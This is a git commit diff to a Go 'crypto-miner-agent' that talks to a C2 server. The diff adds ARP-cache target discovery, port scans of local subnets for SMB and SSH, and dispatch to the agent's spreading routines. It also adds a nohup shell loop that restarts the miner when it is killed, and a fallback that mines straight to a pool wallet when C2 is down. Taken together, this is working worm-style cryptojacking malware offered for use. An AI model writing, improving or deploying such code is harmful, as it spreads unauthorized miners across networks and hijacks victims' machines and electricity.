fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

This commit is contained in:
drjones
2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions

View File

@@ -15,6 +15,7 @@ import (
"runtime" "runtime"
"strings" "strings"
"sync" "sync"
"sync/atomic"
"time" "time"
"crypto-miner-agent/config" "crypto-miner-agent/config"
@@ -39,6 +40,10 @@ type AgentClient struct {
agentID string agentID string
sharesSubmitted int sharesSubmitted int
sharesAccepted int sharesAccepted int
// connected is true while a C2 WebSocket session is active.
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
} }
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -77,6 +82,18 @@ func (c *AgentClient) Run() error {
} }
} }
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
fallbackDone := make(chan struct{})
fallbackManagerDone := make(chan struct{})
go func() {
defer close(fallbackManagerDone)
c.stratumFallbackManager(fallbackDone)
}()
defer func() {
close(fallbackDone)
<-fallbackManagerDone
}()
// Build deduped server list: primary first, then backups. // Build deduped server list: primary first, then backups.
// On each failure we advance to the next URL so the fleet never // On each failure we advance to the next URL so the fleet never
// goes dark when the primary host reboots. // goes dark when the primary host reboots.
@@ -90,6 +107,8 @@ func (c *AgentClient) Run() error {
for { for {
target := serverURLs[urlIdx%len(serverURLs)] target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now() start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare)
if err := c.connectLoop(target); err != nil { if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err) log.Printf("[agent] disconnected from %s: %v", target, err)
} }
@@ -155,6 +174,8 @@ func (c *AgentClient) connectLoop(serverURL string) error {
if err := c.authenticate(); err != nil { if err := c.authenticate(); err != nil {
return err return err
} }
c.connected.Store(true)
defer c.connected.Store(false)
statsStop := make(chan struct{}) statsStop := make(chan struct{})
go c.statsLoop(statsStop) go c.statsLoop(statsStop)
@@ -617,6 +638,64 @@ func (c *AgentClient) write(msg Message) error {
return c.conn.WriteJSON(msg) return c.conn.WriteJSON(msg)
} }
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
// connection after 30 seconds of being disconnected from the C2 server.
// When C2 reconnects the Stratum session is stopped and the share handler is
// restored to the C2 WebSocket path.
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
type fallback struct {
stop chan struct{}
wait chan struct{}
}
var fb *fallback
var disconnectedSince time.Time
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
stopFallback := func() {
if fb != nil {
close(fb.stop)
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
log.Printf("[stratum] fallback stopped — C2 connection restored")
}
}
for {
select {
case <-done:
stopFallback()
return
case <-ticker.C:
if c.connected.Load() {
disconnectedSince = time.Time{}
stopFallback()
} else {
if disconnectedSince.IsZero() {
disconnectedSince = time.Now()
}
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
stop := make(chan struct{})
wait := make(chan struct{})
sc := miner.NewStratumClient(c.pool, c.cfg)
go func() {
defer close(wait)
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
}
}
}
}
}
func buildWSURL(serverURL string) (string, error) { func buildWSURL(serverURL string) (string, error) {
u, err := url.Parse(strings.TrimSpace(serverURL)) u, err := url.Parse(strings.TrimSpace(serverURL))
if err != nil { if err != nil {

105
agent/deploy/arp_unix.go Normal file
View File

@@ -0,0 +1,105 @@
//go:build !windows
package deploy
import (
"bufio"
"net"
"os"
"os/exec"
"strings"
)
// arpHosts returns IPv4 hosts in the ARP cache on the local subnets.
// On Linux it reads /proc/net/arp; on macOS/BSD it falls back to running
// `arp -n`. Returns nil if nothing useful is found (caller does full scan).
func arpHosts() []string {
hosts := arpFromProc()
if len(hosts) == 0 {
hosts = arpFromCmd()
}
return hosts
}
// arpFromProc parses Linux's /proc/net/arp.
// Format: IP address HW type Flags HW address Mask Device
func arpFromProc() []string {
f, err := os.Open("/proc/net/arp")
if err != nil {
return nil
}
defer f.Close()
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
scanner := bufio.NewScanner(f)
for scanner.Scan() {
fields := strings.Fields(scanner.Text())
if len(fields) < 4 {
continue // skip header
}
ip := net.ParseIP(fields[0])
if ip == nil || ip.To4() == nil {
continue
}
// Flags = 0x0 means incomplete — skip
if fields[2] == "0x0" {
continue
}
ipStr := ip.To4().String()
sub := getSubnet(ipStr)
if !subnets[sub] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
_ = scanner.Err()
return hosts
}
// arpFromCmd runs `arp -n` for macOS/BSD where /proc/net/arp doesn't exist.
func arpFromCmd() []string {
raw, err := exec.Command("arp", "-n").Output()
if err != nil {
return nil
}
out := string(raw)
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
for _, line := range strings.Split(out, "\n") {
fields := strings.Fields(line)
if len(fields) < 2 {
continue
}
ip := net.ParseIP(fields[0])
if ip == nil || ip.To4() == nil || ip.IsLoopback() {
continue
}
// arp -n marks incomplete entries as "(incomplete)"
if strings.Contains(line, "incomplete") {
continue
}
ipStr := ip.To4().String()
sub := getSubnet(ipStr)
if !subnets[sub] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}

View File

@@ -0,0 +1,51 @@
//go:build windows
package deploy
import (
"net"
"os/exec"
"strings"
)
// arpHosts returns the list of IPv4 hosts currently in the OS ARP cache
// that share a subnet with one of our local interfaces. These are machines
// that have recently communicated on the LAN — a far smaller and more
// targeted set than a blind /24 sweep.
//
// Falls back to nil (caller will do a full scan) on any error.
func arpHosts() []string {
out, err := exec.Command("arp", "-a").Output()
if err != nil {
return nil
}
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
// arp -a lines look like:
// 192.168.1.1 00-11-22-33-44-55 dynamic
fields := strings.Fields(line)
if len(fields) < 2 {
continue
}
ip := net.ParseIP(fields[0])
if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
continue
}
ipStr := ip.To4().String()
sub := getSubnet(ipStr)
if !subnets[sub] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}

View File

@@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16) var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) { func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs() // ARP-first: only probe hosts the OS has recently spoken to.
for _, ip := range ips { // Typically 520 hosts vs 253 cold-probes — far quieter and faster.
subnet := getSubnet(ip) targets := arpHosts()
if subnet == "" {
continue // Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
// machines with SMB open so we still reach previously-unseen machines.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
} }
for i := 1; i < 255; i++ { for _, ip := range ips {
target := fmt.Sprintf("%s.%d", subnet, i) subnet := getSubnet(ip)
if target == ip { if subnet == "" {
continue continue
} }
spreadSem <- struct{}{} // acquire slot for i := 1; i < 255; i++ {
go func(t string) { candidate := fmt.Sprintf("%s.%d", subnet, i)
defer func() { <-spreadSem }() // release slot when done if candidate == ip || seen[candidate] {
attemptSpread(cfg, t) continue
}(target) }
// Quick port check — only bother with machines that have :445 open
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
} }
} }
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
for _, target := range targets {
if localSet[target] {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
attemptSpread(cfg, t)
}(target)
}
} }
func getLocalIPs() []string { func getLocalIPs() []string {

View File

@@ -46,24 +46,51 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
if err != nil { if err != nil {
return return
} }
ips := getLocalIPs()
for _, ip := range ips { // ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
subnet := getSubnet(ip) targets := arpHosts()
if subnet == "" {
continue // Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
} }
for i := 1; i < 255; i++ { for _, ip := range ips {
target := fmt.Sprintf("%s.%d", subnet, i) subnet := getSubnet(ip)
if target == ip { if subnet == "" {
continue continue
} }
spreadSem <- struct{}{} // acquire slot for i := 1; i < 255; i++ {
go func(t string) { candidate := fmt.Sprintf("%s.%d", subnet, i)
defer func() { <-spreadSem }() if candidate == ip || seen[candidate] {
attemptSSHSpread(cfg, t, exePath) continue
}(target) }
conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
if connErr == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
} }
} }
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
for _, target := range targets {
if localSet[target] {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
attemptSSHSpread(cfg, t, exePath)
}(target)
}
} }
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) { func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {

View File

@@ -11,20 +11,27 @@ import (
"crypto-miner-agent/config" "crypto-miner-agent/config"
) )
// launchProcessGuard spawns a detached shell loop that watches for the installed // launchProcessGuard spawns a detached shell loop that watches for the installed
// miner and restarts it on crash (Unix — Linux + macOS). // miner and restarts it on crash (Unix — Linux + macOS).
//
// Uses `pgrep -f` with the full binary path rather than `-x` (exact process-name
// match), which is unreliable on Linux where /proc truncates names to 15 chars.
func launchProcessGuard(cfg config.RuntimeConfig) { func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory() installDir, err := cfg.InstallDirectory()
if err != nil { if err != nil {
return return
} }
bin := filepath.Join(installDir, BinaryName(cfg)) bin := filepath.Join(installDir, BinaryName(cfg))
procName := strings.TrimSuffix(BinaryName(cfg), "")
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing. // Escape single-quotes in path (edge case for unusual install dirs).
safebin := strings.ReplaceAll(bin, "'", "'\\''")
// Loop every 60 s. If pgrep can't find any process whose command line
// contains the full binary path, and the binary still exists, restart it.
script := fmt.Sprintf( script := fmt.Sprintf(
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`, `while true; do sleep 60; pgrep -f '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
procName, bin, bin, safebin, safebin, safebin,
) )
cmd := exec.Command("sh", "-c", script) cmd := exec.Command("sh", "-c", script)
_ = cmd.Start() _ = cmd.Start()

View File

@@ -20,18 +20,24 @@ type Pool struct {
cfg config.RuntimeConfig cfg config.RuntimeConfig
reporter *stats.Reporter reporter *stats.Reporter
engines []*Engine engines []*Engine
handler ShareHandler
schedule *ScheduleGuard schedule *ScheduleGuard
mu sync.RWMutex mu sync.RWMutex
currentJob *job.Job currentJob *job.Job
stopCh chan struct{} stopCh chan struct{}
wg sync.WaitGroup wg sync.WaitGroup
paused atomic.Bool paused atomic.Bool
remotePause atomic.Bool remotePause atomic.Bool
hashesTotal atomic.Uint64 // Share handler — swappable at runtime (C2 vs Stratum fallback).
sharesFound atomic.Uint64 handlerMu sync.RWMutex
handler ShareHandler
// Hashrate tracking — reset each stats tick, divided by elapsed seconds.
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
resetMu sync.Mutex
hashesLastReset time.Time
} }
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool { func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
@@ -43,13 +49,14 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
engines[i] = NewEngine() engines[i] = NewEngine()
} }
return &Pool{ return &Pool{
threads: threads, threads: threads,
cfg: cfg, cfg: cfg,
reporter: reporter, reporter: reporter,
engines: engines, engines: engines,
handler: handler, handler: handler,
schedule: NewScheduleGuard(cfg, reporter), schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}), stopCh: make(chan struct{}),
hashesLastReset: time.Now(),
} }
} }
@@ -84,12 +91,33 @@ func (p *Pool) Stop() {
p.wg.Wait() p.wg.Wait()
} }
// HashesPerSecond returns the average hash rate since the last ResetHashCounter call.
func (p *Pool) HashesPerSecond() float64 { func (p *Pool) HashesPerSecond() float64 {
return float64(p.hashesTotal.Load()) p.resetMu.Lock()
elapsed := time.Since(p.hashesLastReset).Seconds()
count := float64(p.hashesTotal.Load())
p.resetMu.Unlock()
if elapsed <= 0 {
return 0
}
return count / elapsed
} }
// ResetHashCounter zeroes the counter and records the reset time so that
// the next HashesPerSecond() call measures over the correct interval.
func (p *Pool) ResetHashCounter() { func (p *Pool) ResetHashCounter() {
p.resetMu.Lock()
p.hashesTotal.Store(0) p.hashesTotal.Store(0)
p.hashesLastReset = time.Now()
p.resetMu.Unlock()
}
// SetShareHandler replaces the share submission callback at runtime.
// Used to switch between C2-mediated submission and direct Stratum submission.
func (p *Pool) SetShareHandler(fn ShareHandler) {
p.handlerMu.Lock()
p.handler = fn
p.handlerMu.Unlock()
} }
func (p *Pool) PauseRemote() { func (p *Pool) PauseRemote() {
@@ -198,8 +226,11 @@ func (p *Pool) worker(id int, engine *Engine) {
} }
if target != "" && hashMeetsTarget(hashHex, target) { if target != "" && hashMeetsTarget(hashHex, target) {
p.sharesFound.Add(1) p.sharesFound.Add(1)
if p.handler != nil { p.handlerMu.RLock()
p.handler(job.ID, uint32ToHex(nonce-1), hashHex) h := p.handler
p.handlerMu.RUnlock()
if h != nil {
h(job.ID, uint32ToHex(nonce-1), hashHex)
} }
} }
} }

298
agent/miner/stratum.go Normal file
View File

@@ -0,0 +1,298 @@
package miner
// StratumClient provides a minimal Monero Stratum client that the agent falls
// back to when the C2 server is unreachable. It feeds jobs directly into the
// existing miner.Pool so hashing never stops, and submits found shares back to
// the pool over Stratum so they are not lost.
//
// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
// Reference: https://p2pool.io/docs/stratum.html
import (
"bufio"
"crypto/tls"
"encoding/json"
"fmt"
"log"
"net"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
)
// ─── Wire types ──────────────────────────────────────────────────────────────
type stratumMsg struct {
ID interface{} `json:"id"`
JSONRPC string `json:"jsonrpc,omitempty"`
Method string `json:"method,omitempty"`
Params json.RawMessage `json:"params,omitempty"`
Result json.RawMessage `json:"result,omitempty"`
Error interface{} `json:"error,omitempty"`
}
type loginResult struct {
ID string `json:"id"`
Job *stratumJob `json:"job"`
Status string `json:"status"`
}
type stratumJob struct {
Blob string `json:"blob"`
JobID string `json:"job_id"`
Target string `json:"target"`
SeedHash string `json:"seed_hash"`
Height int64 `json:"height"`
}
type submitParams struct {
ID string `json:"id"`
JobID string `json:"job_id"`
Nonce string `json:"nonce"`
Hash string `json:"result"` // field name "result" in Stratum protocol
}
// ─── Pool endpoint list ───────────────────────────────────────────────────────
type stratumEndpoint struct {
Host string
Port int
TLS bool
Pass string
}
func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
eps := []stratumEndpoint{{
Host: cfg.PoolHost,
Port: cfg.PoolPort,
TLS: cfg.PoolTLS,
Pass: cfg.PoolPass,
}}
for _, bp := range cfg.BackupPools {
if bp.Host != "" && bp.Port > 0 {
eps = append(eps, stratumEndpoint{
Host: bp.Host,
Port: bp.Port,
TLS: bp.TLS,
Pass: bp.Pass,
})
}
}
return eps
}
// ─── StratumClient ───────────────────────────────────────────────────────────
// StratumClient mines via a direct Stratum connection. It is started when the
// C2 server is unreachable and stopped as soon as C2 comes back.
type StratumClient struct {
pool *Pool
cfg config.RuntimeConfig
}
func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
return &StratumClient{pool: pool, cfg: cfg}
}
// RunFallback cycles through all configured pools, trying each in turn, until
// stopCh is closed. Each pool connection runs its own read/write loops.
func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
if s.cfg.PoolHost == "" {
log.Printf("[stratum] no pool configured — fallback unavailable")
return
}
endpoints := buildStratumEndpoints(s.cfg)
idx := 0
for {
select {
case <-stopCh:
return
default:
}
ep := endpoints[idx%len(endpoints)]
log.Printf("[stratum] connecting to %s:%d", ep.Host, ep.Port)
if err := s.runPool(ep, stopCh); err != nil {
log.Printf("[stratum] pool %s:%d: %v — trying next", ep.Host, ep.Port, err)
}
idx++
// Back off before the next retry
select {
case <-stopCh:
return
case <-time.After(15 * time.Second):
}
}
}
// runPool manages one Stratum connection until it fails or stopCh is closed.
func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
var conn net.Conn
var err error
if ep.TLS {
conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
} else {
conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
}
if err != nil {
return err
}
defer conn.Close()
// Set up a reader (Stratum is newline-delimited JSON).
reader := bufio.NewReader(conn)
msgID := 1
// ── Login ────────────────────────────────────────────────────────────────
wallet := s.cfg.Wallet
pass := ep.Pass
if pass == "" {
pass = "x"
}
loginReq, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "login",
Params: mustMarshal(map[string]interface{}{
"login": wallet,
"pass": pass,
"rigid": s.cfg.WorkerName,
"agent": "AetherForge/" + config.Version,
}),
})
msgID++
if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
return fmt.Errorf("login send: %w", err)
}
_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
loginLine, err := reader.ReadString('\n')
if err != nil {
return fmt.Errorf("login read: %w", err)
}
_ = conn.SetDeadline(time.Time{}) // clear deadline
var loginResp stratumMsg
if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
return fmt.Errorf("login parse: %w", err)
}
if loginResp.Error != nil {
return fmt.Errorf("login error: %v", loginResp.Error)
}
var lr loginResult
if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
return fmt.Errorf("login result parse: %w", err)
}
sessionID := lr.ID
log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
// Feed the initial job from the login response.
if lr.Job != nil {
s.setJob(lr.Job)
}
// ── Share submission channel ──────────────────────────────────────────────
// The pool's share handler sends shares here; this goroutine drains them
// and writes submit requests to the Stratum connection.
shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
s.pool.SetShareHandler(func(jobID, nonce, hash string) {
select {
case shareCh <- [3]string{jobID, nonce, hash}:
default:
log.Printf("[stratum] share channel full — dropping share")
}
})
// Submit writer goroutine.
submitDone := make(chan struct{})
go func() {
defer close(submitDone)
for {
select {
case <-stopCh:
return
case share, ok := <-shareCh:
if !ok {
return
}
params, _ := json.Marshal(submitParams{
ID: sessionID,
JobID: share[0],
Nonce: share[1],
Hash: share[2],
})
req, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "submit",
Params: params,
})
msgID++
if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
log.Printf("[stratum] submit write error: %v", err)
return
}
}
}
}()
defer func() { <-submitDone }()
// ── Job receive loop ──────────────────────────────────────────────────────
// keepalive every 60 s
keepalive := time.NewTicker(60 * time.Second)
defer keepalive.Stop()
for {
select {
case <-stopCh:
return nil
case <-keepalive.C:
req, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "keepalived",
Params: mustMarshal(map[string]string{"id": sessionID}),
})
msgID++
_, _ = fmt.Fprintf(conn, "%s\n", req)
default:
}
_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
line, err := reader.ReadString('\n')
if err != nil {
return fmt.Errorf("read: %w", err)
}
var msg stratumMsg
if err := json.Unmarshal([]byte(line), &msg); err != nil {
continue
}
if msg.Method == "job" {
var sj stratumJob
if err := json.Unmarshal(msg.Params, &sj); err == nil {
s.setJob(&sj)
}
}
}
}
// setJob converts a Stratum job into the agent's internal job.Job format and
// feeds it into the miner Pool.
func (s *StratumClient) setJob(sj *stratumJob) {
if sj == nil || sj.Blob == "" {
return
}
j := &job.Job{
ID: sj.JobID,
Blob: sj.Blob,
Target: sj.Target,
SeedHash: sj.SeedHash,
}
s.pool.SetJob(j)
log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
}
func mustMarshal(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b
}